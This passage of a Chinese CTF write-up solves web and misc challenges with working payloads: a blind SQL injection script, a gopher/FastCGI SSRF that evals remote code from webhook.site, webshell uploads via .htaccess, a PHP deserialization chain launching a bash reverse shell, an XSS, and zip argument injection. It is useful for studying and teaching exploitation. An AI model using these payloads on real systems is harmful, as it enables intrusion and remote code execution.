的密碼,所以用個下方的
injection 就可以一個一個字元去 binary search 了:
1 ' union select 'peko','miko','{ip}' from users where unicode(substr(password,{index}))<{value} and username='kirito
不過很快就會發現直接在一般 ASCII 範圍中 binary search
會失敗,檢查一下會發現它原來是有包含許多 unicode 字元,包含中文和
emoji。因應對策就直接把 password
換成
hex(password)
,然後 binary search hex chars
的範圍即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import requestsip = requests.get("https://ipinfo.io/ip" ).text print (ip)def check_char (i, v ): r = requests.post( "https://sao.h4ck3r.quest/login" , data={ "username[]" : f"' union select 'peko','miko','{ip} ' from users where unicode(substr(hex(password),{i+1 } ))<{v} and username='kirito" , "password" : "miko" , }, allow_redirects=False , ) return "welcome" in r.text def bsearch_char (i ): l = 48 r = 71 while l + 1 != r: m = (l + r) // 2 if check_char(i, m): r = m else : l = m return chr (l) flaghex = "" while True : flaghex += bsearch_char(len (flaghex)) if len (flaghex) % 2 == 0 : try : flag = bytes .fromhex(flaghex).decode() print (flaghex, flag) if flag[-1 ] == "}" : break except UnicodeDecodeError: pass
PM
這題是給了個被攻下來 的網站,還直接提供了一個
webshell。只是說 webshell 執行指令的功能是壞掉的,而 flag 需要
/readflag
。
webshell 的 viewer 和 editor 功能是正常的,而本身版本是 Antichat
Shell v1.3,讀 webshell 本身的檔案後和 Google 到其他版本 比較一下可以發現這題的
webshell 多加了 Download another webshell
的功能。
該部份的程式碼如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 if ($action =='downshell' ) {echo "<form method=\"POST\"> <input type=\"hidden\" name=\"action\" value=\"downshell\"> <p>webshell path to write:<input name=\"downpath\" value=\"/path/to/webshell.php\" size=50></p> <p>remote webshell url: <input name=\"shell_url\" value=\"https://raw.githubusercontent.com/tennc/webshell/master/138shell/A/Antichat%20Shell%20v1.3.txt\" size=100></p> <input type=\"submit\" value=\"download it\"></form>" ;if (@$_POST ['shell_url' ]){$ch = curl_init ();curl_setopt ($ch , CURLOPT_URL, $_POST ['shell_url' ]);curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 );curl_setopt ($ch , CURLOPT_TIMEOUT, 3 );$shell = curl_exec ($ch );curl_close ($ch );$file = fopen ($_POST ['downpath' ], "w" );fwrite ($file , $shell );fclose ($file );} }
基本上就是可以任意 curl 到一個網址,然後存檔到任意可寫入的地方 (only
/tmp
(?))。
之後再用 viewer 可以在
/usr/local/etc/php/conf.d/docker-php.ini
找到額外的設定,裡面就寫了
disable_functions = "shell_exec, system"
,這就是為什麼
webshell 執行指令的功能會掛的原因。
用 curl 去 ssrf file:///proc/self/net/tcp
可以看到有連接的 tcp 連線,自己寫個腳本 parse 一下可以發現有個到
127.0.0.1:9000
的連線,對應 phpinfo 可以知道是
fastcgi。
有 fastcgi 的話那就能用 curl + gopher 去 ssrf 達成 RCE,這部分
payload 可以用 Gopherus
生成。只是生成後去 RCE 會發現說還是會碰到 system
被禁用的問題。
後來就自己 patch 了 Gopherus 的 FastCGI.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 @@ -4,10 +4,11 @@ def FastCGI(): filename = raw_input("\033[96m" +"Give one file name which should be surely present in the server (prefer .php file)\nif you don't know press ENTER we have default one: "+ "\033[0m") if(not filename): - filename="/usr/share/php/PEAR.php" + filename="/var/www/html/index.php" - command=raw_input("\033[96m" +"Terminal command to run: "+ "\033[0m") - length=len(command)+52 + # command=raw_input("\033[96m" +"Terminal command to run: "+ "\033[0m") + php_code = "<?php eval(file_get_contents('https://webhook.site/39461208-ad58-46a6-8a61-31fb7ac25d2f'));" + length=len(php_code) char=chr(length) data = "\x0f\x10SERVER_SOFTWAREgo / fcgiclient \x0b\tREMOTE_ADDR127.0.0.1\x0f\x08SERVER_PROTOCOLHTTP/1.1\x0e" + chr(len(str(length))) @@ -19,7 +20,7 @@ def FastCGI(): temp3 = chr(len(data) % 8) end = str("\x00"*(len(data)%8)) + "\x01\x04\x00\x01\x00\x00\x00\x00\x01\x05\x00\x01\x00" + char + "\x04\x00" - end += "<?php system('" + command + "');die('-----Made-by-SpyD3r-----\n');?>\x00\x00\x00\x00" + end += php_code+"\x00\x00\x00\x00" start = "\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01" + temp1 + temp2 + temp3 + "\x00"
直接把 code 部分改成從遠端下載程式碼來
eval,然後在遠端測試了幾個函數發現說
passthru('/readflag give me the flag');
可以拿到 flag:
FLAG{g0pher://finally a real ssrf challenge, and this should be a missing lab for edu-ctf students?}
。
ssrf 的指令:
1 curl 'https://pekomiko.h4ck3r.quest/uploads/webshell.php' --data 'action=downshell' --data-urlencode 'shell_url=gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH91%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5B%04%00%3C%3Fphp%20eval%28file_get_contents%28%27https%3A//webhook.site/39461208-ad58-46a6-8a61-31fb7ac25d2f%27%29%29%3B%00%00%00%00' --data 'downpath=/tmp/okpeko'
讀 output 的指令:
1 curl 'https://pekomiko.h4ck3r.quest/uploads/webshell.php' --data 'action=download' --data-urlencode 'file=/tmp/okpeko' --output -
雖然比賽時沒注意到,不過 ssrf 的 /tmp/okpeko
可以直接換成 php://output
,這樣只要一個指令就能看到輸出
babyphp
這題有個壓縮過的 php,把它 beautify 後如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php isset ($_GET ['8' ]) && ($_GET ['8' ] === '===D' ) && die (show_source (__FILE__ , 1 ));!file_exists ($dir = "sandbox/" . md5 (session_start () . session_id ())) && mkdir ($dir ); chdir ($dir );!isset ($_GET ['code' ]) && die ('/?8====D' ); $time = date ('Y-m-d-H:i:s' );strlen ($out = ($_GET ['output' ] ?? "$time .html" )) > 255 && die ('toooooooo loooooong' );(trim ($ext = pathinfo ($out ) ['extension' ]) !== '' && strtolower (substr ($ext , 0 , 2 )) !== "ph" ) ? file_put_contents ($out , sprintf (file_get_contents ('/va' . 'r/www/html/template.html' ) , $time , highlight_string ($_GET ['code' ], true ))) : die ("BAD" ); echo "<p>Highlight: <a href=\"/$dir /$out \">$out </a></p>" ?>
簡單來說可以指定一個 code
和 output
參數,output
可以指定檔名,但是副檔名不可以為
ph
開頭。code
的話會先 highlight 過後使用塞到
template.html
的字串中,然後寫到
sandbox/$output
的位置。目標是要能夠執行指令。
首先是副檔名禁止 ph
開頭的話就代表 php
php7
... 之類的都不能用,所以沒辦法靠直接寫 webshell 去
RCE。不過看 phpinfo 可以知道應該是用 php:7.4-apache
這個
image 跑的,既然有 Apache 的話代表 .htaccess
可用,而本地測試一下也發現這個 image 在預設設定是會吃
.htaccess
的。
所以現在的目前變成往 .htaccess
寫入以下內容:
1 AddType application/x-httpd-php .p
之後再想辦法寫個 .p
的檔案就能得到 webshell
了。不過困難的點有幾個,一個是 template.html
長這樣:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <!DOCTYPE html > <html > <head > <meta charset ="utf-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1" > <title > PHP Highlighter</title > <link rel ="stylesheet" href ="/bootstrap.min.css" > <link rel ="stylesheet" href ="/cooool.css" > </head > <body > <div class ="container" > <h1 class ="page-header" > <span > <span style ="color:#ff0000;" > P</span > <span style ="color:#ff6e00;" > H</span > <span style ="color:#ffdd00;" > P </span > </span > <span > <span style ="color:#b2ff00;" > H</span > <span style ="color:#48ff00;" > i</span > <span style ="color:#00ff26;" > g</span > <span style ="color:#00ff95;" > h</span > <span style ="color:#00fbff;" > l</span > <span style ="color:#0091ff;" > i</span > <span style ="color:#0022ff;" > g</span > <span style ="color:#4d00ff;" > h</span > <span style ="color:#b700ff;" > t</span > <span style ="color:#ff00d9;" > e</span > <span style ="color:#ff006a;" > r</span > </span > <img src ="/img/hot.gif" > </h1 > <marquee scrolldelay ="10" > Generate @ %s =w= </marquee > <table cellspacing ="2" cellpadding ="2" > <tbody > <tr > <td > <img src ="/img/ie_logo.gif" > </td > <td > <img src ="/img/ns_logo.gif" > </td > <td > <img src ="/img/noframes.gif" > </td > <td > <img src ="/img/notepad.gif" > </td > </tr > </tbody > </table > <center > <img src ="/img/divider.gif" > </center > <br > <div class ="well" > %s </div > <center > <img src ="/img/divider.gif" > </center > <br > <footer class ="text-center" > <img src ="/img/counter2.gif" > </footer > </div > </body > </html >
然後輸入的 code
參數也是先經過
highlight_string
才會被 sprintf
進去的,然而
.htaccess
不像 .php
那麼寬容,多塞一堆 garbage
進去只會讓它 error。此時可以想辦法用點 php://filter/
讓它對準備寫入的資料做些處裡,產生出想要的 output,例如
convert.base64-decode
在 decode 的時候會自動忽略掉所有非
base64 字元,而 string.strip_tags
會把一些長的像
<xxx>
的 tags 消除。
完整列表可以參考官方文件
因為 template.html
基本上都是
html,自然會想先用string.strip_tags
把多餘的 tags
刪掉,這樣就只剩下一些純文字和一堆 indentation 的空白。之後再把 payload
反覆 base64 encode 避免出錯,之後讓他反覆 base64 decode
後就能把其他剩下的資料去除,只剩下目標
payload...。只是這個計畫說起來很美好,實際上執行時會出錯,主要在於
template.html
有一行 Generate @ %s =w=
,其中的
=
在 base64 代表的是結尾,之後還出現資料就會讓它出錯,所以
decode 失敗就使得 output 為空字串。
去除 =
的方法很多,例如我用一些和 ASCII 不相容的
encoding 如 CP037 ,這樣
=
就會變成一些其他的資料,之後就能反覆 base64 decode
得到目標 output。當然,原本的資料也是要反過來轉換才不會讓它出錯。
下面兩個 php script 都會輸出一個 url,分別可以產生出寫入
.htaccess
和 .p
檔案的
url,分別寫入完就直接存取 webshell 在根目錄找 flag 即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php function encodeURIComponent ($str ) { $revert = array ('%21' => '!' , '%2A' => '*' , '%27' => "'" , '%28' => '(' , '%29' => ')' ); return strtr (rawurlencode ($str ), $revert ); } function generateRandomString ($length = 10 ) { return substr (str_shuffle (str_repeat ($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' , ceil ($length / strlen ($x )))), 1 , $length ); } function noEqualB64 ($s ) { while (true ) { $b = base64_encode ($s . generateRandomString (random_int (0 , 10 ))); if (!strstr ($b , '=' )) { return $b ; } } } $tmpl = file_get_contents ("template.html" );$payload = "AddType application/x-httpd-php .p\n# c8763 --- " ;$payload = iconv ('CP037' , 'LATIN1' , 'x' . noEqualB64 (noEqualB64 ($payload )));$output = sprintf ($tmpl , date ('Y-m-d-H:i:s' ), $payload );$url = "php://filter/string.strip_tags|convert.iconv.LATIN1.CP037|convert.base64-decode|convert.base64-decode/resource=.htaccess" ;file_put_contents ($url , $output );echo "https://babyphp.h4ck3r.quest/?code=" . encodeURIComponent ($payload ) . "&output=" . encodeURIComponent ($url ) . "\n" ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php function encodeURIComponent ($str ) { $revert = array ('%21' => '!' , '%2A' => '*' , '%27' => "'" , '%28' => '(' , '%29' => ')' ); return strtr (rawurlencode ($str ), $revert ); } function generateRandomString ($length = 10 ) { return substr (str_shuffle (str_repeat ($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' , ceil ($length / strlen ($x )))), 1 , $length ); } function noEqualB64 ($s ) { while (true ) { $b = base64_encode ($s . generateRandomString (random_int (0 , 10 ))); if (!strstr ($b , '=' )) { return $b ; } } } $tmpl = file_get_contents ("template.html" );$payload = "<?php system(\$_GET[cmd]); ?> peko " ;$payload = iconv ('CP037' , 'LATIN1' , 'x' . noEqualB64 (noEqualB64 ($payload )));$output = sprintf ($tmpl , date ('Y-m-d-H:i:s' ), $payload );$url = "php://filter/string.strip_tags|convert.iconv.LATIN1.CP037|convert.base64-decode|convert.base64-decode/resource=shell.p" ;file_put_contents ($url , $output );echo "https://babyphp.h4ck3r.quest/?code=" . encodeURIComponent ($payload ) . "&output=" . encodeURIComponent ($url ) . "\n" ;
Flag: FLAG{Pecchipee://filter/k!ng}
Imgura Album
這題是一個簡單的 album 服務,可以讓你上傳些照片上去,目標是
RCE。題目本身使用的是 Flight framework。
第一個明顯的洞在於 src/lib/class.album.php
中的
addImage
:
1 2 3 4 5 6 7 8 9 10 11 public function addImage ($uploaded_file_path , $image_name ) { if (getimagesize ($uploaded_file_path ) === false ) throw new Exception ("File is not an image" ); if (str_ends_with ($image_name , 'jpg' ) || str_ends_with ($image_name , 'jpeg' ) || str_ends_with ($image_name , 'png' )) move_uploaded_file ($uploaded_file_path , $this ->getAlbumPath () . "/$image_name " ); else throw new Exception ("Invalid extension" ); }
其中 $this->getAlbumPath()
的回傳值是來自 url
/album/@id/add
的 id
參數,使用者可控。而
$image_name
是 HTTP 上傳時候的那個名稱,一樣可控。
這邊檔名只能以 jpg
, jpeg
或是
gif
結尾,想不到寫 webshell 的方法。不過 album path 可以有
../
之類的出現,代表可以 path traversal
寫入,不過可寫入的地方也只有 ./uploads
和 /tmp
的樣子。
/tmp
裡面會有 sess_$PHPSESSID
形式的檔案出現,存 session 的 serialized 資料。而 index.php
本身中也有直接從 session
中存取物件後呼叫函數的操作,所以可知目標是要想辦法利用 unserialize 去
RCE。
說到 php pop chain 就先去 phpggc
看看有沒有現成的,只是這個 framework
應該是特別挑過不在裡面的,所以沒有現成的能用。這樣就只好自己讀 framework
source code 找 pop chain 了。
framework 的 Engine.php
中的 Engine
class
有個 __call
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public function __call (string $name , array $params ) { $callback = $this ->dispatcher->get ($name ); if (\is_callable ($callback )) { return $this ->dispatcher->run ($name , $params ); } if (!$this ->loader->get ($name )) { throw new Exception ("{$name} must be a mapped method." ); } $shared = empty ($params ) || $params [0 ]; return $this ->loader->load ($name , $shared ); }
這是個 php magic method 所以在 obj->abc(123)
時相當於呼叫 obj->__call('abc', [123])
。裡面會用
$dispatcher
去找 callback,然後如果是 callable
的話就使用 $dispatcher->run
去呼叫之。實際測試下也發現確實能把 $callback
控制成
system
之類的,但問題在於 deserialized
的物件只在幾個地方被呼叫到:
1 2 3 Flight ::get ('user' )->addAlbum ($id ); Flight ::get ('user' )->getUsername ();Flight ::get ('user' )->getAlbums ();
這代表說 $params
根本無法控制,就算能呼叫
system
也不能 RCE。
之後繼續看到
$this->loader->load($name, $shared);
,裡面是在
core/Loader.php
之中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public function load (string $name , bool $shared = true ): ?object { $obj = null ; if (isset ($this ->classes[$name ])) { [$class , $params , $callback ] = $this ->classes[$name ]; $exists = isset ($this ->instances[$name ]); if ($shared ) { $obj = ($exists ) ? $this ->getInstance ($name ) : $this ->newInstance ($class , $params ); if (!$exists ) { $this ->instances[$name ] = $obj ; } } else { $obj = $this ->newInstance ($class , $params ); } if ($callback && (!$shared || !$exists )) { $ref = [&$obj ]; \call_user_func_array ($callback , $ref ); } } return $obj ; }
其中可以看到說如果 $this->classes[$name]
存在的話就從裡面拿 $class
$params
和
$callback
,如果沒有已存在的 instances 的話就用
newInstance
建立新 instance:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public function newInstance ($class , array $params = [] ): object { if (\is_callable ($class )) { return \call_user_func_array ($class , $params ); } switch (\count ($params )) { case 0 : return new $class (); case 1 : return new $class ($params [0 ]); case 2 : return new $class ($params [0 ], $params [1 ]); case 3 : return new $class ($params [0 ], $params [1 ], $params [2 ]); case 4 : return new $class ($params [0 ], $params [1 ], $params [2 ], $params [3 ]); case 5 : return new $class ($params [0 ], $params [1 ], $params [2 ], $params [3 ], $params [4 ]); default : try { $refClass = new ReflectionClass ($class ); return $refClass ->newInstanceArgs ($params ); } catch (ReflectionException $e ) { throw new Exception ("Cannot instantiate {$class} " , 0 , $e ); } } }
可以看到說如果 $class
是 callable,那就把
$class
作為函數來呼叫,$params
是參數。只是這次的 $class
和 $params
都來自於
$engine->$loader->$classes
,所以可以讓它呼叫到任意函數,參數也是可控的,因此就能夠
RCE。
另外在上傳檔案可能遇到的小問題是它會檢查
getimagesize($uploaded_file_path) === false
,不過去讀一下
source
code 會知道它其實很好繞,例如在處裡
gif 的地方 沒有什麼特別的驗證,而判斷
GIF 的方法 也只是檢查前三個 bytes 是不是 GIF
而已。所以給 session array 塞個 GIF
的 key
就能輕鬆繞過了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php include 'src/vendor/autoload.php' ;include 'src/lib/class.album.php' ;include 'src/lib/class.user.php' ;use flight \Engine ;function forceGet ($obj , $prop ) { $reflection = new ReflectionClass ($obj ); $property = $reflection ->getProperty ($prop ); $property ->setAccessible (true ); return $property ->getValue ($obj ); } function forceSet ($obj , $prop , $val ) { $reflection = new ReflectionClass ($obj ); $property = $reflection ->getProperty ($prop ); $property ->setAccessible (true ); $property ->setValue ($obj , $val ); } session_start ();$ip = '48.76.3.3' ;$port = '8763' ;$e = new Engine ();forceSet (forceGet ($e , 'dispatcher' ), 'events' , []);forceSet (forceGet ($e , 'dispatcher' ), 'filters' , []);forceSet (forceGet ($e , 'loader' ), 'classes' , ['getUsername' => ['system' , ["bash -c 'bash -i >& /dev/tcp/$ip /$port 0>&1'" ], 'unused_callback' ]]);forceSet (forceGet ($e , 'loader' ), 'instances' , []);forceSet (forceGet ($e , 'loader' ), 'dirs' , []);$e = unserialize (serialize (($e )));$_SESSION ['GIF' ] = 48763 ;$_SESSION ['user' ] = $e ;echo session_encode ();
GistMD
這題可以建立 note,note 的內容會先經過
marked.parse
,再經過
DOMPurify.sanitize
,最後會將
{%gist data %}
轉換成 iframe。 在轉換成 iframe
時,data 會被經過 encodeURI,無法閉合雙引號插入其他 html 內容。
相關部分 code 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 window .onload = function ( ) { fetch (RAW_MARKDOWN_URL ).then (r => r.text ()).then (markdown => { const html = DOMPurify .sanitize (marked.parse (markdown)) .replace (/{%gist\s*(\S+)\s*%}/g , (_, gistId ) => ` <iframe class="gist-embed" sandbox="allow-scripts allow-same-origin" scrolling="no" data-gist="${encodeURI (gistId)} " csp="default-src 'none'; style-src 'unsafe-inline' https://github.githubassets.com/assets/; script-src https://gist.github.com/;"> </iframe>` ); document .querySelector ('.main' ).innerHTML = html; document .querySelector ('.main' ).querySelectorAll ('.gist-embed' ).forEach (embed => { embed.srcdoc = `<script src="https://gist.github.com/${embed.dataset.gist} .js"></script>` embed.onload = () => embed.style .height = `${embed.contentDocument.documentElement.scrollHeight} px` ; }); }); document .getElementById ('note-title' ).textContent = GistMD .title || GistMD .id ; };
這邊最大的問題在於它在 DOMPurify sanatize 之後才 replace,這件事在 cure53/DOMPurify 的
README 就有一句說明:
Well, please note, if you first sanitize HTML and then modify it
afterwards, you might easily void the effects of sanitization. If you
feed the sanitized markup to another library after sanitization, please
be certain that the library doesn't mess around with the HTML on its
own.
首先為了不要被 marked 的 markdown 特性干擾,可以把所有的東西塞到一個
<div>
中,因為它預設是不會處裡 inline html
裡面的東西的。
之後經過些實驗可以發現說 DOMPurify 是允許 attribute context 中出現
<
的,但是在 attribute context 之外的 <
都會當作 tag 解析,然後移除掉一些有問題的 tag。
不過 replace 時是直接把 {%gist a %}
換成一個
iframe tag,如果 {%gist a %}
出現在 attribute
中然後被 replace 成 html 的話,<iframe>
start tag
結尾的那個 >
會被瀏覽器的 html parser 當作是
<img>
的結尾,然後因為 <img>
是
self-closing tag 所以之後接的東西都是屬於 <img>
之外的東西。</iframe>
的話是被瀏覽器忽略掉的樣子。
因此對於下面的 payload:
1 2 3 <div > <img alt ="{%gist a %}<img src=/ onerror=eval(GistMD.title)>" > </div >
經過 replace 後,iframe 的內容會讓第一個 img 閉合,原本在 alt
內剩下的內容就會就會出現在正常 element 的 context,成功
XSS。下面這個是從 devtools 看 DOM Tree 的解析結果:
1 2 3 4 5 6 <div > <img alt =" <iframe class=" 'gist-embed "'="" sandbox ="allow-scripts allow-same-origin" scrolling ="no" data-gist ="a" csp ="default-src 'none'; style-src 'unsafe-inline' https://github.githubassets.com/assets/; script-src https://gist.github.com/;" > <img src =/ onerror =eval(GistMD.title) > "> </div >
payload 部分可以直接塞 title,雖然很多字元會被 escape,但因為 title
本身是放在一個 javascript string literal 中解析的,可以使用
\x61\x62
這樣的方法 encode 即可。這可以用 CyberChef
容易的做到。
Flag: FLAG{?callback=xss.h4ck3r}
intended solution 是透過 gist 的 jsonp callback function 觸發 top 的
click 事件,然後讓 GistMD
的 inline script 產生 syntax
error 之後再 dom clobbering 填充 GistMD.url
達成 XSS。
Misc
RCE
這題基本上如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #!/bin/sh clang /check.c if [ $? = 1 ]then echo 'cannot compile' exit fi rm /check.cclang /code.c if [ $? = 1 ]then echo 'cannot compile' exit fi /a.out
check.c
是個直接 puts("FLAG{...}");
的
C
程式,而 code.c
是個可以自己上傳的檔案,沒有任何限制。只是因為這個是每次另外在新的
docker container 跑的,所以沒辦法直接打這題的網頁服務。
可以看到說它會編譯完 check.c
之後刪除之,然後編譯你的
code 之後執行。可以注意到說在編譯 code.c
的時候
a.out
其實是存在的,所以如果能把 a.out
用某些方法在 compile time 塞進 binary 中的話就簡單了。
Google 一下可以找到 Include
binary file with gcc/clang ,能讓你 include 任意檔案進來到一個 buffer
中。所以 include 進來後直接在 ELF 中搜尋 flag 然後輸出即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include <stdio.h> #define STR2(x) #x #define STR(x) STR2(x) #define INCBIN(name, file) \ __asm__(".section .rodata\n" \ ".global incbin_" STR(name) "_start\n" \ ".balign 16\n" \ "incbin_" STR(name) "_start:\n" \ ".incbin \"" file "\"\n" \ \ ".global incbin_" STR(name) "_end\n" \ ".balign 1\n" \ "incbin_" STR(name) "_end:\n" \ ".byte 0\n" \ ); \ extern const __attribute__((aligned(16))) void* incbin_ ## name ## _start; \ extern const void* incbin_ ## name ## _end; \ INCBIN(bin, "a.out" ); int main () { printf ("start = %p\n" , &incbin_bin_start); printf ("end = %p\n" , &incbin_bin_end); printf ("size = %zu\n" , (char *)&incbin_bin_end - (char *)&incbin_bin_start); for (char *p=(char *)&incbin_bin_start; p!=&incbin_bin_end; p++) { if (!strncmp (p, "FLAG{" , 5 )) { printf ("%.120s\n" , p); break ; } } printf ("first byte = 0x%02x\n" , ((unsigned char *)&incbin_bin_start)[0 ]); }
Flag:
FLAG{g1thu6_i55ue_is_a_gr3at_pL4ce_t0_find_bugssss}
babyheap
這題 nc 上去會看到像是一個一般 heap note 的 menu,只是在 malloc 輸入
size 的時候輸入一些不是數字的東西會出現 error,可以知道是 xonsh 寫的服務,而 source code 在
/home/babyheap/main.xonsh
。
在 show 功能時輸入 note name 的地方可以用 path traversal 輸入
../../../../home/babyheap/main.xonsh
得到原始碼,清理過後如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 import secretsimport atexitfrom urllib.parse import urlparsefrom os import pathsandbox = f"/tmp/sandbox/{secrets.token_hex(16 )} " atexit.register(lambda : $[rm -rf @(sandbox)]) rm -rf @(sandbox) mkdir -p @(sandbox) cd @(sandbox) def menu (): print ( "======== [Babyheap] ========\n" "1. Malloc\n" "2. Show\n" "3. List\n" "4. Free\n" "0. Exit\n" "----------------------------\n" ) while True : menu() option = input ("> " ) if option == "1" : file = secrets.token_hex(8 ) + ".txt" size = input ("Size: " ) if not size.isdigit(): exit -1 size = int (size) content = input ("Content: " )[:size] echo @(content) | cowsay > @(file) echo f"Note {file} created" elif option == "2" : file = input ("Note name: " ) if path.exists(file): nl @(file) else : echo f"Note '{file} ' does not exist" elif option == "3" : for file in gp`./*.txt`: echo "[+]" @(file.name) elif option == "4" : file = path.basename(input ("Note name: " )) if path.exists(file): rm -f @(file) echo f"Deleted '{file} '" else : echo f"free(): double free detected in tcache 1" elif option == "9487" : url = input ("URL: " ) if urlparse(url).path.endswith(".txt" ): wget --no-clobber @(url) else : echo "Should be a .txt file" elif option == "9527" : zip export.zip * link = $(curl --upload-file export.zip https://transfer.sh/export.zip ) echo f"Exported to {link} " rm -f export.zip elif option == "0" : echo "Exiting..." break else : echo "Invalid option" print ()
可知它有兩個隱藏的功能,一個是使用 wget
下載
txt
檔案,另一個是把當前 sandbox 中所有檔案 zip 起來上傳到
transfer.sh。
問題點在於 zip export.zip *
這行,因為 *
是直接把當前目錄下所有的檔名展開成 arguments,如果有檔名是
-
開頭的話還是會被視為 flags
解析,就可能會出現一些問題。
參考 zip |
GTFOBins 可知它有個 -TT
選項可以拿來執行指令:
1 zip /tmp/out /etc/hosts -T -TT 'sh #'
所以只要讓檔名恰好 能湊成這樣的指令即可,不過還要讓它能在後面以
.txt
結尾才行。
-TT
部分可以把它合併成 -TTsh #.txt
處裡。-T
的因為它是不吃額外參數的,加上 .txt
會有錯誤,不過翻一下 man zip
可以發現它有個 -x
是拿來 exclude 檔案的,所以 -Tx.txt
可以過。另外還需要一個
input file,隨便的一個檔案如 z.txt
就行。
之後就弄個 server 可以對所有 path 返回 200
OK,然後讓它分別下載這三個檔案
https://server/-Tx.txt
https://server/-TTsh%20%23.txt
https://server/z.txt
在 xonsh 中輸入 echo export.zip *
會得到
export.zip -TTsh #.txt -Tx.txt z.txt
,所以
zip export.zip *
就會有 shell。 (-TTsh #.txt
實際上是一個 argument,空白是顯示的問題)
Flag: FLAG{I don't know why but nc+note=babyheap}